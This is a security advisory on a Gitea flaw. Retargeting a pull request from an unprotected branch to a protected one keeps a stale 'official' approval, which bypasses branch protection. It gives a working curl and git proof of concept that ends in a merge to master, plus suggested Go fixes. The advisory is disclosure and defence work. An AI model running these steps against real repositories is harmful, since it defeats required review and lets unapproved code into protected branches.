Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

• Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

• Updates pr.BaseBranch
• Recalculates merge feasibility and divergence
• Deletes old push comments
• Creates a "change target branch" comment

But it does not:

• Re-evaluate official on existing reviews
• Dismiss existing approvals
• Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

1. Review creation — services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
2. Target branch change — services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
3. Merge check — services/pull/check.go:CheckPullMergeable → models/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

• Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
• The ability to create pull requests (standard for any user with push access)
• A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

• Admin access
• To be in the approval whitelist for the protected branch
• Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

• Required approvals: 1
• Approval whitelist enabled, containing only user admin-reviewer
• User attacker has write access but is not in the approval whitelist

Steps

BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"  # any non-whitelisted user

# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'

# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch

# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N

# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true

# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'

# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false

# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master

Observed API Responses

Step 4 — Approval on unprotected branch:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 — Same approval after retarget to protected master:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

• Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
• Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}